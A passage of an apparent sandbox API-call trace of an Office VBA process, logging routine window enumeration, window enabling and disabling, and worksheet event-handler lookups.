lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#43") returned 3 [0111.576] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0111.576] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0111.576] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0111.576] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.577] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.577] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0111.577] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0111.577] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0111.577] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0111.577] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.577] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0111.577] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0111.577] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.577] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x72e0600 [0111.577] IMalloc:Free (This=0x7feffc15380, pv=0x72e0600) [0114.727] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e0000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e0000035b) returned 0x0 [0114.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0114.727] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0114.727] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0114.727] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0114.728] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0114.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0114.728] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0114.728] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0114.728] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0114.767] GetCurrentThreadId () returned 0x8fc [0114.767] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0114.767] GetDesktopWindow () returned 0x10010 [0114.767] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0114.767] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0114.767] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0114.767] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0114.768] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0114.768] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0114.768] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0114.768] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0114.768] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0114.768] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0114.768] IsWindowEnabled (hWnd=0x202b0) returned 1 [0114.768] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0114.768] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0114.769] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0114.769] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0114.769] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0114.769] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0114.769] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0114.769] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0114.769] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0114.769] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0114.769] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0114.769] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0114.769] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0114.769] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0114.769] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd226a0 [0114.770] IMalloc:Free (This=0x7feffc15380, pv=0xbd226a0) [0115.253] GetAsyncKeyState (vKey=27) returned 0 [0115.253] GetCurrentThreadId () returned 0x8fc [0115.253] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0115.253] GetDesktopWindow () returned 0x10010 [0115.253] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0115.253] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0115.253] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0115.253] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0115.253] GetWindowLongPtrA (hWnd=0x502c6, nIndex=-6) returned 0x7feef2c0000 [0115.253] GetWindowLongPtrA (hWnd=0x502c6, nIndex=-6) returned 0x7feef2c0000 [0115.253] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0115.253] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0115.254] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0115.254] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0115.254] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0115.254] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0115.254] IsWindowEnabled (hWnd=0x202b0) returned 0 [0115.254] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0115.255] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0115.255] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0115.255] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0115.255] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0115.255] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0115.255] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0115.255] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0115.255] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0115.255] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0115.255] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0115.255] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0115.255] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0115.255] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0115.255] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0115.256] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0115.256] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0115.256] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0115.256] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0115.256] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0115.256] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0115.256] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb8cbc0 [0115.256] IMalloc:Free (This=0x7feffc15380, pv=0xbb8cbc0) [0118.347] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68000000d6) returned 0x0 [0118.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0118.347] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0118.348] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0118.348] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0118.349] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0118.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0118.349] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0118.349] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0118.349] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0118.361] GetCurrentThreadId () returned 0x8fc [0118.362] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0118.362] GetDesktopWindow () returned 0x10010 [0118.362] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0118.362] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0118.362] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0118.362] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0118.362] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0118.362] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0118.362] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0118.362] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0118.363] IsWindowEnabled (hWnd=0x202b0) returned 1 [0118.363] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0118.363] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0118.363] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0118.363] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0118.363] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0118.363] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0118.363] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0118.363] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0118.363] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0118.363] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0118.363] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0118.363] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0118.363] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0118.363] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0118.364] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb8fc20 [0118.364] IMalloc:Free (This=0x7feffc15380, pv=0xbb8fc20) [0118.688] GetAsyncKeyState (vKey=27) returned 0 [0118.688] GetCurrentThreadId () returned 0x8fc [0118.688] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0118.688] GetDesktopWindow () returned 0x10010 [0118.688] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0118.688] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0118.688] GetWindowLongPtrA (hWnd=0x9028c, nIndex=-6) returned 0x7feef2c0000 [0118.688] GetWindowLongPtrA (hWnd=0x9028c, nIndex=-6) returned 0x7feef2c0000 [0118.688] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0118.688] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0118.688] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0118.688] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0118.689] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0118.689] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0118.689] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0118.689] IsWindowEnabled (hWnd=0x202b0) returned 0 [0118.689] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0118.689] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0118.689] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0118.690] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0118.690] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0118.690] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0118.690] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0118.690] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0118.690] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0118.690] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0118.690] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0118.690] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0118.690] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0118.690] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0118.690] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91100 [0118.690] IMalloc:Free (This=0x7feffc15380, pv=0xbb91100) [0121.805] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68000001ad | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x68000001ad) returned 0x0 [0121.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0121.805] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0121.805] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0121.805] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0121.807] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0121.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0121.807] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0121.807] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0121.807] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0121.829] GetCurrentThreadId () returned 0x8fc [0121.829] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0121.829] GetDesktopWindow () returned 0x10010 [0121.829] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0121.829] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0121.829] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0121.829] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0121.829] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0121.829] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0121.829] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0121.829] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0121.830] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0121.830] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0121.830] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0121.830] IsWindowEnabled (hWnd=0x202b0) returned 1 [0121.830] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0121.830] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0121.830] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0121.831] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0121.831] GetWindowLongPtrA 